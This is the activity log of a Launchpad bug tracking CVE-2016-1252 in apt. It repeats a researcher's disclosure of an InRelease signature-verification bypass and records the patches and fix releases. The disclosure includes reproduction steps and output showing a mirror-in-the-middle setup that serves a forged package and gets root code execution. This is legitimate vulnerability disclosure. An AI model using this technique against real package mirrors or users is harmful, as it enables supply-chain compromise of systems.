Activity log for bug #1647467

Date Who What changed Old value New value Message
2016-12-05 20:36:48 Julian Andres Klode bug added bug
2016-12-05 20:37:01 Julian Andres Klode apt (Ubuntu): status New Triaged
2016-12-05 20:37:37 Julian Andres Klode apt (Ubuntu): importance Undecided Critical
2016-12-05 20:38:08 Julian Andres Klode description We have just been made aware of a security bug upstream that affects the validation of signatures on InRelease file. This bug is to track progress for it. No further details for now while we deal with this upstream. We have just been made aware of a security bug upstream that affects the validation of signatures on InRelease file. This bug is to track progress for it. It allows for attacking a repository via MITM attacks, circumventing the signature of the InRelease file. No further details for now while we deal with this upstream.
2016-12-05 20:43:34 Julian Andres Klode tags w3
2016-12-05 20:43:59 Julian Andres Klode tags w3
2016-12-05 22:19:37 Julian Andres Klode apt (Ubuntu): status Triaged In Progress
2016-12-05 22:19:37 Julian Andres Klode apt (Ubuntu): assignee Julian Andres Klode (juliank)
2016-12-05 22:23:01 Julian Andres Klode attachment added 0001-Correctly-check-getline-errors.patch https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647467/+attachment/4787766/+files/0001-Correctly-check-getline-errors.patch
2016-12-05 23:19:45 Julian Andres Klode nominated for series Ubuntu Trusty
2016-12-05 23:19:45 Julian Andres Klode bug task added apt (Ubuntu Trusty)
2016-12-05 23:19:45 Julian Andres Klode nominated for series Ubuntu Yakkety
2016-12-05 23:19:45 Julian Andres Klode bug task added apt (Ubuntu Yakkety)
2016-12-05 23:19:45 Julian Andres Klode nominated for series Ubuntu Wily
2016-12-05 23:19:45 Julian Andres Klode bug task added apt (Ubuntu Wily)
2016-12-05 23:19:45 Julian Andres Klode nominated for series Ubuntu Vivid
2016-12-05 23:19:45 Julian Andres Klode bug task added apt (Ubuntu Vivid)
2016-12-05 23:19:45 Julian Andres Klode nominated for series Ubuntu Xenial
2016-12-05 23:19:45 Julian Andres Klode bug task added apt (Ubuntu Xenial)
2016-12-05 23:19:45 Julian Andres Klode nominated for series Ubuntu Zesty
2016-12-05 23:19:45 Julian Andres Klode bug task added apt (Ubuntu Zesty)
2016-12-06 00:02:42 Julian Andres Klode apt (Ubuntu Zesty): importance Critical High
2016-12-06 00:02:52 Julian Andres Klode apt (Ubuntu Yakkety): importance Undecided High
2016-12-06 00:02:55 Julian Andres Klode apt (Ubuntu Xenial): importance Undecided High
2016-12-06 00:02:59 Julian Andres Klode apt (Ubuntu Wily): importance Undecided Critical
2016-12-06 00:03:00 Julian Andres Klode apt (Ubuntu Vivid): importance Undecided Critical
2016-12-06 00:03:03 Julian Andres Klode apt (Ubuntu Trusty): importance Undecided Critical
2016-12-06 00:22:46 Julian Andres Klode summary Security issue in InRelease file verification InRelease file splitter treats getline() errors as EOF
2016-12-06 00:24:16 Julian Andres Klode description We have just been made aware of a security bug upstream that affects the validation of signatures on InRelease file. This bug is to track progress for it. It allows for attacking a repository via MITM attacks, circumventing the signature of the InRelease file. No further details for now while we deal with this upstream. We have just been made aware of a security bug upstream that affects the validation of signatures on InRelease file. This bug is to track progress for it. It allows for attacking a repository via MITM attacks, circumventing the signature of the InRelease file. It works by making a call to getline() fail with ENOMEM, which is not documented as an error for that but follows from the fact that getline() can allocate memory. In such a case, apt would treat the first part of the file as a valid release file.
2016-12-06 09:09:39 Julian Andres Klode attachment added 0001-gpgv-Check-for-errors-during-reading-esp.-getline.patch https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647467/+attachment/4787977/+files/0001-gpgv-Check-for-errors-during-reading-esp.-getline.patch
2016-12-06 09:10:23 Julian Andres Klode attachment added 0002-gpgv-Flush-the-files-before-checking-for-errors.patch https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647467/+attachment/4787978/+files/0002-gpgv-Flush-the-files-before-checking-for-errors.patch
2016-12-06 09:25:48 Julian Andres Klode bug added subscriber Michael Vogt
2016-12-06 11:21:27 Julian Andres Klode bug task deleted apt (Ubuntu Vivid)
2016-12-06 11:21:32 Julian Andres Klode bug task deleted apt (Ubuntu Wily)
2016-12-06 14:03:23 Julian Andres Klode description We have just been made aware of a security bug upstream that affects the validation of signatures on InRelease file. This bug is to track progress for it. It allows for attacking a repository via MITM attacks, circumventing the signature of the InRelease file. It works by making a call to getline() fail with ENOMEM, which is not documented as an error for that but follows from the fact that getline() can allocate memory. In such a case, apt would treat the first part of the file as a valid release file. We have just been made aware of a security bug upstream that affects the validation of signatures on InRelease file. This bug is to track progress for it. It allows for attacking a repository via MITM attacks, circumventing the signature of the InRelease file. It works by making a call to getline() fail with ENOMEM, which is not documented as an error for that but follows from the fact that getline() can allocate memory. In such a case, apt would treat the first part of the file as a valid release file. = Original bug report = == Vulnerability == When apt-get updates a repository that uses an InRelease file (clearsigned Release files), this file is processed as follows: First, the InRelease file is downloaded to disk. In a subprocess running the gpgv helper, "apt-key verify" (with some more arguments) is executed through the following callchain: gpgv.cc:main -> pkgAcqMethod::Run -> GPGVMethod::URIAcquire -> GPGVMethod::VerifyGetSigners -> ExecGPGV ExecGPGV() splits the clearsigned file into payload and signature using SplitClearSignedFile(), calls apt-key on these two files to perform the cryptographic signature verification, then discards the split files and only retains the clearsigned original. SplitClearSignedFile() ignores leading and trailing garbage. Afterwards, in the parent process, the InRelease file has to be loaded again so that its payload can be processed. At this point, the code isn't aware anymore whether the Release file was clearsigned or split-signed, so the file is opened using OpenMaybeClearSignedFile(), which first attempts to parse the file as a clearsigned (InRelease) file and extract the payload, then falls back to treating the file as the file as a split-signed (Release) file if the file format couldn't be recognized. The weakness here is: If an attacker can create an InRelease file that is parsed as a proper split-signed file during signature validation, but then isn't recognized by OpenMaybeClearSignedFile(), the "leading garbage" that was ignored by the signature validation is interpreted as repository metadata, bypassing the signing scheme. It first looks as if it would be impossible to create a file that is recognized as split-signed by ExecGPGV(), but isn't recognized by OpenMaybeClearSignedFile(), because both use the same function, SplitClearSignedFile(), for parsing the file. However, multiple executions of SplitClearSignedFile() on the same data can actually have different non-error results because of a bug. SplitClearSignedFile() uses getline() to parse the input file. A return code of -1, which signals that either EOF or an error occured, is always treated as EOF. The Linux manpage only lists EINVAL (caused by bad arguments) as possible error code, but because the function allocates (nearly) unbounded amounts of memory, it can actually also fail with ENOMEM if it runs out of memory. Therefore, if an attacker can cause the address space in the main apt-get process to be sufficiently constrained to prevent allocation of a large line buffer while the address space of the gpgv helper process is less constrained and permits the allocation of a buffer with the same size, the attacker can use this to fake an end-of-file condition in SplitClearSignedFile() that causes the file to be parsed as a normal Release file. A very crude way to cause such a constraint on a 32-bit machine is based on abusing ASLR. Because ASLR randomizes the address space after each execve(), thereby altering how much contiguous virtual memory is available, an allocation that attempts to use the average available virtual memory should ideally succeed 50% of the time, resulting in an upper limit of 25% for the success rate of the whole attack. (That's not very effective, and a real attacker would likely want a much higher success rate, but it works for a proof of concept.) This is not necessarily a limitation of the vulnerability, just a limitation of the way the exploit is designed. I think that it would make sense to fix this as follows: - Set errno to 0 before calling getline(), verify that it's still 0 after returning -1, treat it as an error if errno isn't 0 anymore. - Consider splitting the InRelease file only once, before signature validation, and then deleting the original clearsigned file instead of the payload file. This would get rid of the weakness that the file is parsed twice and parsing differences can have security consequences, which is a pretty brittle design. - I'm not sure whether this bug would have been exploitable if the parser for split files or the parser for Release files had been stricter. You might want to consider whether you could harden this code that way. == Reproduction instructions == These steps are probably more detailed than necessary. First, prepare a clean Debian VM for the victim: - download debian-8.6.0-i386-netinst.iso (it is important that this is i386 and not amd64) - install Virtualbox (I'm using version 4.6.36 from Ubuntu) - create a new VM with the following properties: - type "Linux", version "Debian (32-bit)" - 8192 MB RAM (this probably doesn't matter much, especially if you enable swap) - create a new virtual harddrive, size 20GB (also doesn't matter much) - launch the VM, insert the CD - pick graphical install - in the installer, use defaults everywhere, apart from enabling Xfce in the software selection After installation has finished, log in, launch a terminal, "sudo nano /etc/apt/sources.list", change the "deb" line for jessie-updates so that it points to some unused port on the host machine instead of the proper mirror ("deb http://192.168.0.2:1337/debian/ jessie-updates main" or so). This simulates a MITM attack or compromised mirror. On the host (as the attacker): $ tar xvf apt_sig_bypass.tar apt_sig_bypass/ apt_sig_bypass/debian/ apt_sig_bypass/debian/netcat-evil.deb apt_sig_bypass/debian/dists/ apt_sig_bypass/debian/dists/jessie-updates/ apt_sig_bypass/debian/dists/jessie-updates/InRelease.part1 apt_sig_bypass/debian/dists/jessie-updates/main/ apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/ apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/Packages apt_sig_bypass/make_inrelease.py $ cd apt_sig_bypass/ $ curl --output debian/dists/jessie-updates/InRelease.part2 http://ftp.us.debian.org/debian/dists/jessie-updates/InRelease % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 141k 100 141k 0 0 243k 0 --:--:-- --:--:-- --:--:-- 243k $ ./make_inrelease.py $ ls -lh debian/dists/jessie-updates/InRelease -rw-r--r-- 1 user user 1.3G Dec 5 17:13 debian/dists/jessie-updates/InRelease $ python -m SimpleHTTPServer 1337 . Serving HTTP on 0.0.0.0 port 1337 ... Now, in the VM, as root, run "apt-get update". It will probably fail - run it again until it doesn't fail anymore. The errors that can occur are "Clearsigned file isn't valid" (when the allocation during gpg verification fails) and some message about a hash mismatch (when both allocations succeed). After "apt-get update" has succeeded, run "apt-get upgrade" and confirm the upgrade. The result should look like this (server IP censored, irrelevant output removed and marked with "[...]"): root@debian:/home/user# apt-get update Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB] [...] Hit http://ftp.us.debian.org jessie-updates InRelease [...] 100% [1 InRelease gpgv 1,342 MB] 28.6 MB/s 0sSplitting up /var/lib/apt/lists/partial/{{{SERVERIP}}}:1337_debian_dists_jessie-updates_InRelease intIgn http://{{{SERVERIP}}}:1337 jessie-updates InRelease E: GPG error: http://{{{SERVERIP}}}:1337 jessie-updates InRelease: Clearsigned file isn't valid, got 'NODATA' (does the network require authentication?) root@debian:/home/user# apt-get update [...] Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB] [...] Hit http://ftp.us.debian.org jessie-updates InRelease Get:4 http://{{{SERVERIP}}}:1337 jessie-updates/main i386 Packages [170 B] [...] Fetched 1,349 MB in 55s (24.4 MB/s) Reading package lists... Done root@debian:/home/user# apt-get upgrade Reading package lists... Done Building dependency tree Reading state information... Done Calculating upgrade... Done The following packages will be upgraded: netcat-traditional 1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 666 B of archives. After this operation, 109 kB disk space will be freed. Do you want to continue? [Y/n] Get:1 http://{{{SERVERIP}}}:1337/debian/ jessie-updates/main netcat-traditional i386 9000 [666 B] Fetched 666 B in 0s (0 B/s) Reading changelogs... Done dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional': missing description dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional': missing maintainer (Reading database ... 86469 files and directories currently installed.) Preparing to unpack .../netcat-traditional_9000_i386.deb ... arbitrary code execution reached uid=0(root) gid=0(root) groups=0(root) [...] As you can see, if the attacker gets lucky with the ASLR randomization, there are no security warnings and "apt-get upgrade" simply installs the malicious version of the package. (The dpkg warnings are just because I created a minimal package file, without some of the usual information.) This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.
2016-12-06 14:04:09 Julian Andres Klode description We have just been made aware of a security bug upstream that affects the validation of signatures on InRelease file. This bug is to track progress for it. It allows for attacking a repository via MITM attacks, circumventing the signature of the InRelease file. It works by making a call to getline() fail with ENOMEM, which is not documented as an error for that but follows from the fact that getline() can allocate memory. In such a case, apt would treat the first part of the file as a valid release file. = Original bug report = == Vulnerability == When apt-get updates a repository that uses an InRelease file (clearsigned Release files), this file is processed as follows: First, the InRelease file is downloaded to disk. In a subprocess running the gpgv helper, "apt-key verify" (with some more arguments) is executed through the following callchain: gpgv.cc:main -> pkgAcqMethod::Run -> GPGVMethod::URIAcquire -> GPGVMethod::VerifyGetSigners -> ExecGPGV ExecGPGV() splits the clearsigned file into payload and signature using SplitClearSignedFile(), calls apt-key on these two files to perform the cryptographic signature verification, then discards the split files and only retains the clearsigned original. SplitClearSignedFile() ignores leading and trailing garbage. Afterwards, in the parent process, the InRelease file has to be loaded again so that its payload can be processed. At this point, the code isn't aware anymore whether the Release file was clearsigned or split-signed, so the file is opened using OpenMaybeClearSignedFile(), which first attempts to parse the file as a clearsigned (InRelease) file and extract the payload, then falls back to treating the file as the file as a split-signed (Release) file if the file format couldn't be recognized. The weakness here is: If an attacker can create an InRelease file that is parsed as a proper split-signed file during signature validation, but then isn't recognized by OpenMaybeClearSignedFile(), the "leading garbage" that was ignored by the signature validation is interpreted as repository metadata, bypassing the signing scheme. It first looks as if it would be impossible to create a file that is recognized as split-signed by ExecGPGV(), but isn't recognized by OpenMaybeClearSignedFile(), because both use the same function, SplitClearSignedFile(), for parsing the file. However, multiple executions of SplitClearSignedFile() on the same data can actually have different non-error results because of a bug. SplitClearSignedFile() uses getline() to parse the input file. A return code of -1, which signals that either EOF or an error occured, is always treated as EOF. The Linux manpage only lists EINVAL (caused by bad arguments) as possible error code, but because the function allocates (nearly) unbounded amounts of memory, it can actually also fail with ENOMEM if it runs out of memory. Therefore, if an attacker can cause the address space in the main apt-get process to be sufficiently constrained to prevent allocation of a large line buffer while the address space of the gpgv helper process is less constrained and permits the allocation of a buffer with the same size, the attacker can use this to fake an end-of-file condition in SplitClearSignedFile() that causes the file to be parsed as a normal Release file. A very crude way to cause such a constraint on a 32-bit machine is based on abusing ASLR. Because ASLR randomizes the address space after each execve(), thereby altering how much contiguous virtual memory is available, an allocation that attempts to use the average available virtual memory should ideally succeed 50% of the time, resulting in an upper limit of 25% for the success rate of the whole attack. (That's not very effective, and a real attacker would likely want a much higher success rate, but it works for a proof of concept.) This is not necessarily a limitation of the vulnerability, just a limitation of the way the exploit is designed. I think that it would make sense to fix this as follows: - Set errno to 0 before calling getline(), verify that it's still 0 after returning -1, treat it as an error if errno isn't 0 anymore. - Consider splitting the InRelease file only once, before signature validation, and then deleting the original clearsigned file instead of the payload file. This would get rid of the weakness that the file is parsed twice and parsing differences can have security consequences, which is a pretty brittle design. - I'm not sure whether this bug would have been exploitable if the parser for split files or the parser for Release files had been stricter. You might want to consider whether you could harden this code that way. == Reproduction instructions == These steps are probably more detailed than necessary. First, prepare a clean Debian VM for the victim: - download debian-8.6.0-i386-netinst.iso (it is important that this is i386 and not amd64) - install Virtualbox (I'm using version 4.6.36 from Ubuntu) - create a new VM with the following properties: - type "Linux", version "Debian (32-bit)" - 8192 MB RAM (this probably doesn't matter much, especially if you enable swap) - create a new virtual harddrive, size 20GB (also doesn't matter much) - launch the VM, insert the CD - pick graphical install - in the installer, use defaults everywhere, apart from enabling Xfce in the software selection After installation has finished, log in, launch a terminal, "sudo nano /etc/apt/sources.list", change the "deb" line for jessie-updates so that it points to some unused port on the host machine instead of the proper mirror ("deb http://192.168.0.2:1337/debian/ jessie-updates main" or so). This simulates a MITM attack or compromised mirror. On the host (as the attacker): $ tar xvf apt_sig_bypass.tar apt_sig_bypass/ apt_sig_bypass/debian/ apt_sig_bypass/debian/netcat-evil.deb apt_sig_bypass/debian/dists/ apt_sig_bypass/debian/dists/jessie-updates/ apt_sig_bypass/debian/dists/jessie-updates/InRelease.part1 apt_sig_bypass/debian/dists/jessie-updates/main/ apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/ apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/Packages apt_sig_bypass/make_inrelease.py $ cd apt_sig_bypass/ $ curl --output debian/dists/jessie-updates/InRelease.part2 http://ftp.us.debian.org/debian/dists/jessie-updates/InRelease % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 141k 100 141k 0 0 243k 0 --:--:-- --:--:-- --:--:-- 243k $ ./make_inrelease.py $ ls -lh debian/dists/jessie-updates/InRelease -rw-r--r-- 1 user user 1.3G Dec 5 17:13 debian/dists/jessie-updates/InRelease $ python -m SimpleHTTPServer 1337 . Serving HTTP on 0.0.0.0 port 1337 ... Now, in the VM, as root, run "apt-get update". It will probably fail - run it again until it doesn't fail anymore. The errors that can occur are "Clearsigned file isn't valid" (when the allocation during gpg verification fails) and some message about a hash mismatch (when both allocations succeed). After "apt-get update" has succeeded, run "apt-get upgrade" and confirm the upgrade. The result should look like this (server IP censored, irrelevant output removed and marked with "[...]"): root@debian:/home/user# apt-get update Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB] [...] Hit http://ftp.us.debian.org jessie-updates InRelease [...] 100% [1 InRelease gpgv 1,342 MB] 28.6 MB/s 0sSplitting up /var/lib/apt/lists/partial/{{{SERVERIP}}}:1337_debian_dists_jessie-updates_InRelease intIgn http://{{{SERVERIP}}}:1337 jessie-updates InRelease E: GPG error: http://{{{SERVERIP}}}:1337 jessie-updates InRelease: Clearsigned file isn't valid, got 'NODATA' (does the network require authentication?) root@debian:/home/user# apt-get update [...] Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB] [...] Hit http://ftp.us.debian.org jessie-updates InRelease Get:4 http://{{{SERVERIP}}}:1337 jessie-updates/main i386 Packages [170 B] [...] Fetched 1,349 MB in 55s (24.4 MB/s) Reading package lists... Done root@debian:/home/user# apt-get upgrade Reading package lists... Done Building dependency tree Reading state information... Done Calculating upgrade... Done The following packages will be upgraded: netcat-traditional 1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 666 B of archives. After this operation, 109 kB disk space will be freed. Do you want to continue? [Y/n] Get:1 http://{{{SERVERIP}}}:1337/debian/ jessie-updates/main netcat-traditional i386 9000 [666 B] Fetched 666 B in 0s (0 B/s) Reading changelogs... Done dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional': missing description dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional': missing maintainer (Reading database ... 86469 files and directories currently installed.) Preparing to unpack .../netcat-traditional_9000_i386.deb ... arbitrary code execution reached uid=0(root) gid=0(root) groups=0(root) [...] As you can see, if the attacker gets lucky with the ASLR randomization, there are no security warnings and "apt-get upgrade" simply installs the malicious version of the package. (The dpkg warnings are just because I created a minimal package file, without some of the usual information.) This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. We have just been made aware of a security bug upstream that affects the validation of signatures on InRelease file. This bug is to track progress for it. It allows for attacking a repository via MITM attacks, circumventing the signature of the InRelease file. It works by making a call to getline() fail with ENOMEM, which is not documented as an error for that but follows from the fact that getline() can allocate memory. In such a case, apt would treat the first part of the file as a valid release file. = Original bug report = From: Jann Horn <jannh@google.com> To: security@debian.org Cc: Date: Mon, 5 Dec 2016 18:33:09 +0100 Subject: apt: repository signing bypass via memory allocation failure == Vulnerability == When apt-get updates a repository that uses an InRelease file (clearsigned Release files), this file is processed as follows: First, the InRelease file is downloaded to disk. In a subprocess running the gpgv helper, "apt-key verify" (with some more arguments) is executed through the following callchain: gpgv.cc:main -> pkgAcqMethod::Run -> GPGVMethod::URIAcquire   -> GPGVMethod::VerifyGetSigners -> ExecGPGV ExecGPGV() splits the clearsigned file into payload and signature using SplitClearSignedFile(), calls apt-key on these two files to perform the cryptographic signature verification, then discards the split files and only retains the clearsigned original. SplitClearSignedFile() ignores leading and trailing garbage. Afterwards, in the parent process, the InRelease file has to be loaded again so that its payload can be processed. At this point, the code isn't aware anymore whether the Release file was clearsigned or split-signed, so the file is opened using OpenMaybeClearSignedFile(), which first attempts to parse the file as a clearsigned (InRelease) file and extract the payload, then falls back to treating the file as the file as a split-signed (Release) file if the file format couldn't be recognized. The weakness here is: If an attacker can create an InRelease file that is parsed as a proper split-signed file during signature validation, but then isn't recognized by OpenMaybeClearSignedFile(), the "leading garbage" that was ignored by the signature validation is interpreted as repository metadata, bypassing the signing scheme. It first looks as if it would be impossible to create a file that is recognized as split-signed by ExecGPGV(), but isn't recognized by OpenMaybeClearSignedFile(), because both use the same function, SplitClearSignedFile(), for parsing the file. However, multiple executions of SplitClearSignedFile() on the same data can actually have different non-error results because of a bug. SplitClearSignedFile() uses getline() to parse the input file. A return code of -1, which signals that either EOF or an error occured, is always treated as EOF. The Linux manpage only lists EINVAL (caused by bad arguments) as possible error code, but because the function allocates (nearly) unbounded amounts of memory, it can actually also fail with ENOMEM if it runs out of memory. Therefore, if an attacker can cause the address space in the main apt-get process to be sufficiently constrained to prevent allocation of a large line buffer while the address space of the gpgv helper process is less constrained and permits the allocation of a buffer with the same size, the attacker can use this to fake an end-of-file condition in SplitClearSignedFile() that causes the file to be parsed as a normal Release file. A very crude way to cause such a constraint on a 32-bit machine is based on abusing ASLR. Because ASLR randomizes the address space after each execve(), thereby altering how much contiguous virtual memory is available, an allocation that attempts to use the average available virtual memory should ideally succeed 50% of the time, resulting in an upper limit of 25% for the success rate of the whole attack. (That's not very effective, and a real attacker would likely want a much higher success rate, but it works for a proof of concept.) This is not necessarily a limitation of the vulnerability, just a limitation of the way the exploit is designed. I think that it would make sense to fix this as follows:  - Set errno to 0 before calling getline(), verify that it's still 0 after    returning -1, treat it as an error if errno isn't 0 anymore.  - Consider splitting the InRelease file only once, before signature validation,    and then deleting the original clearsigned file instead of the payload file.    This would get rid of the weakness that the file is parsed twice and parsing    differences can have security consequences, which is a pretty brittle design.  - I'm not sure whether this bug would have been exploitable if the parser for    split files or the parser for Release files had been stricter. You might want    to consider whether you could harden this code that way. == Reproduction instructions == These steps are probably more detailed than necessary. First, prepare a clean Debian VM for the victim:  - download debian-8.6.0-i386-netinst.iso (it is important that this    is i386 and not amd64)  - install Virtualbox (I'm using version 4.6.36 from Ubuntu)  - create a new VM with the following properties:   - type "Linux", version "Debian (32-bit)"   - 8192 MB RAM (this probably doesn't matter much, especially     if you enable swap)   - create a new virtual harddrive, size 20GB (also doesn't matter much)  - launch the VM, insert the CD  - pick graphical install  - in the installer, use defaults everywhere, apart from enabling Xfce    in the software selection After installation has finished, log in, launch a terminal, "sudo nano /etc/apt/sources.list", change the "deb" line for jessie-updates so that it points to some unused port on the host machine instead of the proper mirror ("deb http://192.168.0.2:1337/debian/ jessie-updates main" or so). This simulates a MITM attack or compromised mirror. On the host (as the attacker): $ tar xvf apt_sig_bypass.tar apt_sig_bypass/ apt_sig_bypass/debian/ apt_sig_bypass/debian/netcat-evil.deb apt_sig_bypass/debian/dists/ apt_sig_bypass/debian/dists/jessie-updates/ apt_sig_bypass/debian/dists/jessie-updates/InRelease.part1 apt_sig_bypass/debian/dists/jessie-updates/main/ apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/ apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/Packages apt_sig_bypass/make_inrelease.py $ cd apt_sig_bypass/ $ curl --output debian/dists/jessie-updates/InRelease.part2 http://ftp.us.debian.org/debian/dists/jessie-updates/InRelease   % Total % Received % Xferd Average Speed Time Time Time Current                                  Dload Upload Total Spent Left Speed 100 141k 100 141k 0 0 243k 0 --:--:-- --:--:-- --:--:-- 243k $ ./make_inrelease.py $ ls -lh debian/dists/jessie-updates/InRelease -rw-r--r-- 1 user user 1.3G Dec 5 17:13 debian/dists/jessie-updates/InRelease $ python -m SimpleHTTPServer 1337 . Serving HTTP on 0.0.0.0 port 1337 ... Now, in the VM, as root, run "apt-get update". It will probably fail - run it again until it doesn't fail anymore. The errors that can occur are "Clearsigned file isn't valid" (when the allocation during gpg verification fails) and some message about a hash mismatch (when both allocations succeed). After "apt-get update" has succeeded, run "apt-get upgrade" and confirm the upgrade. The result should look like this (server IP censored, irrelevant output removed and marked with "[...]"): root@debian:/home/user# apt-get update Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB] [...] Hit http://ftp.us.debian.org jessie-updates InRelease [...] 100% [1 InRelease gpgv 1,342 MB]                 28.6 MB/s 0sSplitting up /var/lib/apt/lists/partial/{{{SERVERIP}}}:1337_debian_dists_jessie-updates_InRelease intIgn http://{{{SERVERIP}}}:1337 jessie-updates InRelease E: GPG error: http://{{{SERVERIP}}}:1337 jessie-updates InRelease: Clearsigned file isn't valid, got 'NODATA' (does the network require authentication?) root@debian:/home/user# apt-get update [...] Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB] [...] Hit http://ftp.us.debian.org jessie-updates InRelease Get:4 http://{{{SERVERIP}}}:1337 jessie-updates/main i386 Packages [170 B] [...] Fetched 1,349 MB in 55s (24.4 MB/s) Reading package lists... Done root@debian:/home/user# apt-get upgrade Reading package lists... Done Building dependency tree Reading state information... Done Calculating upgrade... Done The following packages will be upgraded:   netcat-traditional 1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 666 B of archives. After this operation, 109 kB disk space will be freed. Do you want to continue? [Y/n] Get:1 http://{{{SERVERIP}}}:1337/debian/ jessie-updates/main netcat-traditional i386 9000 [666 B] Fetched 666 B in 0s (0 B/s) Reading changelogs... Done dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional':  missing description dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional':  missing maintainer (Reading database ... 86469 files and directories currently installed.) Preparing to unpack .../netcat-traditional_9000_i386.deb ... arbitrary code execution reached uid=0(root) gid=0(root) groups=0(root) [...] As you can see, if the attacker gets lucky with the ASLR randomization, there are no security warnings and "apt-get upgrade" simply installs the malicious version of the package. (The dpkg warnings are just because I created a minimal package file, without some of the usual information.) This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.
2016-12-06 14:05:28 Julian Andres Klode attachment added Reproducer helper https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647467/+attachment/4788102/+files/apt_sig_bypass.tar
2016-12-06 15:13:47 Marc Deslauriers bug added subscriber Marc Deslauriers
2016-12-06 15:13:56 Marc Deslauriers bug added subscriber Salvatore Bonaccorso
2016-12-06 15:15:50 Salvatore Bonaccorso cve linked 2016-1252
2016-12-06 15:32:55 Julian Andres Klode attachment added proposed debdiff for trusty https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647467/+attachment/4788153/+files/apt_1.0.1ubuntu2.16.diff
2016-12-06 15:34:13 Julian Andres Klode attachment added proposed debdiff for xenial security https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647467/+attachment/4788165/+files/apt_1.2.15ubuntu0.1.diff
2016-12-06 15:36:05 Julian Andres Klode attachment added proposed debdiff for yakkety https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647467/+attachment/4788168/+files/apt_1.3.2.diff
2016-12-06 16:23:12 Julian Andres Klode apt (Ubuntu Zesty): status In Progress Fix Committed
2016-12-06 20:41:25 Julian Andres Klode apt (Ubuntu Zesty): status Fix Committed In Progress
2016-12-07 16:00:49 Julian Andres Klode bug added subscriber David Kalnischkies
2016-12-08 15:08:35 Julian Andres Klode attachment added updated trusty diff https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647467/+attachment/4789063/+files/apt_1.0.1ubuntu2.16.diff
2016-12-08 15:09:14 Julian Andres Klode attachment added updated xenial-security debdiff https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647467/+attachment/4789064/+files/apt_1.2.15ubuntu0.1.diff
2016-12-08 15:09:37 Julian Andres Klode attachment added updated yakkety-security debdiff https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647467/+attachment/4789065/+files/apt_1.3.2.diff
2016-12-08 15:13:55 Julian Andres Klode apt (Ubuntu Zesty): status In Progress Fix Committed
2016-12-13 17:02:00 Launchpad Janitor apt (Ubuntu Yakkety): status New Fix Released
2016-12-13 17:02:03 Launchpad Janitor apt (Ubuntu Xenial): status New Fix Released
2016-12-13 17:05:00 Tyler Hicks information type Private Security Public Security
2016-12-13 17:12:10 Launchpad Janitor apt (Ubuntu Trusty): status New Fix Released
2016-12-13 20:24:18 Ubuntu Foundations Team Bug Bot tags patch
2016-12-18 01:53:48 Launchpad Janitor apt (Ubuntu Zesty): status Fix Committed Fix Released
2017-01-10 23:35:26 Julian Andres Klode tags patch patch verification-done